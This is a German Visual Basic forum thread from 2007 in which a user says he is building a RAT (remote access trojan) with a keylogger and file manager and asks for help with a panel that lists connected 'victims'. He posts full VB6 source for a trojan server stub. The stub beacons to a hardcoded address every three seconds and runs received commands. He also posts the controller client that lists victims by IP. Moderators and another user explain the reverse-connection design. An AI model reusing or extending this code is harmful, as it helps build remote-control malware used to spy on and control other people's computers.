Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
Wilkos77_
Banned
Banned

Anmeldedatum: 02.09.2007
Beiträge: 6

"SIN-Console"
Verfasst am: 07.09.2007, 22:52

Hallo liebe Vb-Freunde!
Erstmal dickes, fettes Lob an eure Seite!! Hat mir schon bei sovielen Sachen geholfen!

Nun zu meiner 'kleinen' Frage:
Bin im moment dabei eine RAT zu schreiben. Hab auch die meisten wichtigen Featchers wie Filemanager, klogger etc schon intigreit, nur ist es so, dass ich gerne eine SIN Console hätte. Für die, bei denen die Lampe bei dem Namen "SinConsole" nich angeht:

Ich stell mir das so vor: Jedesmal, wenn ein 'victim' online geht, soll er sich automatisch in LstV. eintragen, und wenn er wieder offline geht, soll er wieder auß der Liste verschwinden. Ganz simpel.
Nun ist es leider so, dass ich mit ListV noch maßive Probleme habe, obwohl ich mir die beiden TxT-TuT's (anfänger | Fortgeschritene) aus der txt-tut-section mehrfach durchgelsen habe, und rumexperiementiert habe.

Bitte postet keine souces, da ich 1. selber mehrere socue code von der geschichte habe, und weill 2. Es sau langeweilig ist den fertigen code in die Form einfach einutragen.

Vll hat ja jemand ein Tutorial, dass speziel das ListView Steuerelement in bezug auf eine 'SIN-Console' erleutert.

Danke schonmal im vorraus.

Gruß Wilkos
 
413X_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 16.12.2006
Beiträge: 266


Verfasst am: 08.09.2007, 00:03

Haben wir doch unter dem Stichwort Reverse Connection ^^ Wurde schon tausendfach erlaeutert Very Happy

http://www.413x.dl.am

Tod den 1337-Scriptkiddies xD
 
Wilkos77_
Banned
Banned

Anmeldedatum: 02.09.2007
Beiträge: 6


Verfasst am: 08.09.2007, 10:14

hmm leider mein ich keine Revers Connection...außerdem hab ich mir ALLE Tutorials dazu schon durchgelesen / angegeuckt. Ich möchte wie gesagt, dass Sich die Vitims in ein LstV. eintragen.

Ich hab auch einen fertigen souce code dafür, aber ich schaff es einfach nicht den richtig zu deuten... ich bräuchte wirklich ein tutorial, dass schritt für schritt erklärt, wie sich der code aufbaut, dass ich JEDE einzelene Zeile versthene kann..

Gruß
 
ChEeTaH_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 01.07.2007
Beiträge: 67


Verfasst am: 08.09.2007, 14:06

poste doch mal den Source den du gefunden hast. Den können wir dann ja kommentieren
 
Wilkos77_
Banned
Banned

Anmeldedatum: 02.09.2007
Beiträge: 6


Verfasst am: 08.09.2007, 15:21

ChEeTaH hat Folgendes geschrieben:
poste doch mal den Source den du gefunden hast. Den können wir dann ja kommentieren


das ist eine gute idee!
##############################################
ich fang am besten mal mit server an:

MATS:
*Timer (tmrRev)
*ws (sckRev)
*ws (sckMain)

[vb:1:5a655d2ea4]Option Explicit
Const IPtoConnect As String = "127.0.0.1"
Const RevPort = 1337
Const MainPort = 1338

Private Sub sckMain_Close()
tmrRev.Enabled = True
End Sub

Private Sub sckMain_Connect()
tmrRev.Enabled = False
End Sub

Private Sub sckMain_DataArrival(ByVal bytesTotal As Long)
Dim sData As String
Dim sParams() As String 'Der Array

sckMain.GetData sData

sParams() = Split(sData, Chr(127)) 'Ich benutze fuer alle meine Codes immer Delimiter chr(127), weil der eigentlich in keinem String vorkommt...

Select Case sParams(0)
Case "MSGBOX"
MsgBox sParams(1)

End Select

End Sub

Private Sub sckMain_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
sckMain.Close
tmrRev.Enabled = True
End Sub

Private Sub sckRev_Close()
tmrRev.Enabled = True
End Sub

Private Sub sckRev_Connect()
tmrRev.Enabled = False
End Sub

Private Sub sckRev_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim sData As String
Dim sParams() As String
sckRev.GetData sData 'DER WICHTIGSTE TEIL ^^
'empf. daten werden in sData geschrieben

sParams = Split(sData, Chr(127)) 'sData wird Split bei allen chr(127)'s

Select Case sParams(0) 'Behandlung
Case "TRO" 'Wennz TRO ist
sckMain.Close
sckMain.Connect IPtoConnect, MainPort 'DIE ECHTE REVERSE CONNECTION HIER ^^
End Select
End Sub

Private Sub sckRev_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
sckRev.Close
tmrRev.Enabled = True
End Sub

Private Sub tmrRev_Timer()
On Error Resume Next
Dim PauseTime As Integer


PauseTime = PauseTime - 1
If PauseTime <= 0 Then
PauseTime = 3 'Verbindet alle 3sek

tmrRev.Enabled = False
sckRev.Close
sckRev.Connect IPtoConnect, RevPort 'mit wem wir uns verbinden bzw wohin

If sckRev.State <> sckConnected Then tmrRev.Enabled = True
End If
End Sub
[/vb:1:5a655d2ea4]

#############################################
Soo nun zu'm Client: #
#############################################

MATS:

*ListView (lstv) [Eigenschaften: Allgemein-->View wurde auf lvw Report gestellt, komischerweise hat diese lstv 3 Spalten, obwohl unter Spaltenköpfe keine eingestellt sind]
*cmd (cmdMsgbox)
*cmd (cmdConnect)
*ws (sckRev)
*ws (sckMain)

#############################################+

[vb:1:5a655d2ea4]Option Explicit
Const RevPort As Long = 1337
Const MainPort As Long = 1338

Private Sub cmdConnect_Click()

Select Case cmdConnect.Caption
Case "Connect"
If sckMain.State = sckConnected Then
Exit Sub
Else
If lstv.ListItems.Count <> 0 Then
If sckRev(lstv.SelectedItem.SubItems(2)).State = sckConnected Then
sckMain.Close
sckMain.Listen
sckRev(lstv.SelectedItem.SubItems(2)).SendData "TRO" & Chr(127) & "CONNECT"
End If
End If
End If

Case "Disconnect"
sckMain.Close
If sckMain.State <> sckConnected Then
cmdConnect.Caption = "Connect"
End If
End Select

End Sub

Private Sub cmdMsgbox_Click()
On Error Resume Next
Dim sMsg As String

sMsg = InputBox("MsgBox!")

sckMain.SendData "MSGBOX" & Chr(127) & sMsg
End Sub

Private Sub Form_Load()

'Reverse-Connection mit Auflistung der Victims Smile
'Wollen viele haben ^^



'## Listview (lstv) aufbauen ##
lstv.ColumnHeaders.Add , , "IP"
lstv.ColumnHeaders.Add , , "Port"
lstv.ColumnHeaders.Add , , "Index"

lstv.ColumnHeaders(1).Width = lstv.Width / lstv.ColumnHeaders.Count
lstv.ColumnHeaders(2).Width = lstv.Width / lstv.ColumnHeaders.Count
lstv.ColumnHeaders(3).Width = lstv.Width / lstv.ColumnHeaders.Count
'##

'## Sockets initializen ##
sckRev(0).Close
sckMain.Close

sckRev(0).LocalPort = RevPort
sckMain.LocalPort = MainPort

sckRev(0).Listen 'Wird auf eingehende Verbindungen auf dem Port "RevPort" listenen.
sckMain.Listen 'Falls wir uns dann mit einem Victim verbinden wollen. (naeheres spaeter ^^)
'##

'Vorfuehreffekt ^^
End Sub

Private Sub lstv_BeforeLabelEdit(Cancel As Integer)

End Sub

Private Sub sckMain_Close()
sckMain.Close
sckMain.Listen
End Sub

Private Sub sckMain_ConnectionRequest(ByVal requestID As Long)
sckMain.Close
sckMain.Accept requestID
cmdConnect.Caption = "Disconnect"
End Sub

Private Sub sckMain_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
sckMain.Close
sckMain.Listen
End Sub

Private Sub sckRev_Close(Index As Integer)
If Index = 0 Then 'Wenn das Socket 0, also unser Reverse-Connection-Socket ist (das wo listened), dann
sckRev(0).Close 'Schliessen
DoEvents 'Warten
sckRev(0).Listen 'Listenen
Exit Sub
End If

Dim z As Integer
For z = 1 To lstv.ListItems.Count 'Schleife geht jedes LSTV-Item durch
If lstv.ListItems.Item(z).SubItems(2) = sckRev(Index).RemotePort Then 'Wenn das LSTV-Item = der "Index" ist dann
lstv.ListItems.Remove lstv.ListItems(z).Index 'Wird das Item entfernt -> ist ja das Error handling
Exit For
End If
Next z
sckRev(Index).Close 'Anschliessend wird das Socket closed
'Das gleiche wie bei Error ab dann...
End Sub

Private Sub sckRev_ConnectionRequest(Index As Integer, ByVal requestID As Long)
Dim ObjList As ListItem
Dim z As Integer
Dim iMax

iMax = GetNextFreeIndex 'iMax ist der Index wert, des neu geladenen Sockets (der mit der Funktion GetNextFreeIndex geladen wird)
sckRev(iMax).Close
sckRev(iMax).Accept requestID 'Verbindung wird angenommen

For z = 1 To lstv.ListItems.Count
If (lstv.ListItems(z).Text = CStr(Index)) Then 'Hier wird die Liste darauf ueberprueft
Set ObjList = lstv.ListItems(z) 'Ob die Variable "Index" schon vorhanden (in der Liste) ist
Exit For
End If
Next z

If (ObjList Is Nothing) Then 'Falls sie nicht vorhanden ist
Set ObjList = lstv.ListItems.Add(, , sckRev(iMax).RemoteHostIP) 'Wird ein neues Item geaddet, und die IP in den Text dareingeschrieben
End If

With ObjList
.SubItems(1) = sckRev(iMax).RemotePort 'Port wird in das Subitem geschrieben
.SubItems(2) = sckRev(iMax).Index 'Und der index
End With

Set ObjList = Nothing 'ObjList wird geloescht
End Sub

Private Sub sckRev_Error(Index As Integer, ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Dim z As Integer
For z = 1 To lstv.ListItems.Count 'Schleife geht jedes LSTV-Item durch
If lstv.ListItems.Item(z).SubItems(2) = sckRev(Index).RemotePort Then 'Wenn das LSTV-Item = der "Index" ist dann
lstv.ListItems.Remove lstv.ListItems(z).Index 'Wird das Item entfernt -> ist ja das Error handling
Exit For
End If
Next z
sckRev(Index).Close 'Anschliessend wird das Socket closed
End Sub

'Um neuen Socket sckRev zu laden, bei eingehender Verbindung
Public Function GetNextFreeIndex() As Integer
Dim i As Integer
For i = 1 To sckRev.Count - 1
If sckRev(i).State = sckClosed Then
GetNextFreeIndex = i
Exit Function
End If
Next
GetNextFreeIndex = sckRev.Count
Load sckRev(GetNextFreeIndex)
End Function
[/vb:1:5a655d2ea4]

der souce code ist zwar schon kemmonetiert, aber die informationen sind mir leider zu wenig, um ihn komplett zu verstehen geschweige denn selber zu schreiben.
Un spart bei der erklärung bitte nicht an worten. Jede information, die ihr mir liefen könnt, ist goldwert!
Danke schonmal im Vorraus.

Gruß wilkos
 
Bahamut_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 12.12.2006
Beiträge: 250


Verfasst am: 08.09.2007, 17:15

[Offtopic] Der Source kommt mir bekannt vor, oder was meinst du 413X? xD
VB.Net-Compiler: http://www.microsoft.com/germany/express/download/default.aspx
VB.Net-eBook: http://www.galileocomputing.de/openbook/visual_basic/
 
413X_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 16.12.2006
Beiträge: 266


Verfasst am: 08.09.2007, 17:17

War mir aufgefallen, wollte jedoch nichts mehr zu schreiben^^
Ich finde den Code eg ohne Comments schon selbstverstaendlich xD

Soll ich mich jetzt beleidigt fuehlen? xD

http://www.413x.dl.am

Tod den 1337-Scriptkiddies xD
 
Wilkos77_
Banned
Banned

Anmeldedatum: 02.09.2007
Beiträge: 6


Verfasst am: 08.09.2007, 18:28

ist doch scheiß-egal wo ich den her hab, wenn ich den hab, hat war er ja auch i-wo frei zum downloaden zurverfügung. Außerdem hab ich schon merhfach erwähnt, dass ich nich c&P machen will..

Selbsterklärend find ich ihn naußerdem nicht.

Bitter erklärt ihn anstatt hier rumzuspammen, und darüber zu diskutieren, wo ich ihn herhab. DanKe
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 08.09.2007, 18:49

Was genau soll da so schwer sein?

Es gibt Videotuts zum Winsock, zur Reverse Connection und Texttutorials zum Winsock Array und ListView.
Mehr braucht man da nicht.

Der server meldet sich beim Clienten und bekommt einen Index zugewiesen.
Dann sender der server einen String mit allen Infos die du in der Liste stehen haben willst.
Der Client empfängt diesen und trägt ihn im ListView und. Irgendwo solle er auch den Index hineinschreiben, damit du weißt welche Informationen zu welchem server gehören.
Also entweder eine eigen Spalte für den Index machen, oder in .Tag hineinschreiben.


Du wirst dich halt auch mal selber ransetzen und herausfinden müßen wie es funktioniert.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
413X_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 16.12.2006
Beiträge: 266


Verfasst am: 08.09.2007, 23:00

1. iwo zum downloaden zur verfuegung -- wtf? mein videotut xD
2. ob es scheissegal ist wo du ihn her hast, is doch scheissegal, ich bin mod und kann ruhig mal 1 offtopic beitrag mehr schreibn als ihr, und? ist ausserdem mein tut also kann ich dazu so viel kommentieren wie ich amg
3. du willst kein c&p machen? hab ich ja gesehen, wirklich 100% meines tuts sind kopiert, omg Very Happy
4. wirste dadurch nix lernen
5.nicht selbsterklaerend? fang mal mit den grundlagen zum programmieren bzw vb6 an, und setz dich dann wieder an so eine rev-con...
6. ich bin besoffn also mowl Very Happy

http://www.413x.dl.am

Tod den 1337-Scriptkiddies xD
 
Wilkos77_
Banned
Banned

Anmeldedatum: 02.09.2007
Beiträge: 6


Verfasst am: 09.09.2007, 11:02

Beitrag gelöscht!
 
413X_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 16.12.2006
Beiträge: 266


Verfasst am: 09.09.2007, 11:04


Bye Schatz Smile

http://www.413x.dl.am

Tod den 1337-Scriptkiddies xD
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: sin console, code

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge Wichtig: [B] Builder source vom Tutorial 3214 30.04.2008, 17:09
Keine neuen Beiträge Wichtig: [Tutorial] Typen 1305 01.03.2008, 10:04
Keine neuen Beiträge Suche Platform Game tutorial 1022 31.03.2008, 22:49
Keine neuen Beiträge VB 6.0 Tutorial(s) für Datenbank? 747 23.02.2008, 00:39
Keine neuen Beiträge [S] ZIG tutorial 592 09.02.2008, 09:31
 


[ Time: 0.0820s ][ Queries: 113 (0.0305s) ][ GZIP on - Debug on ]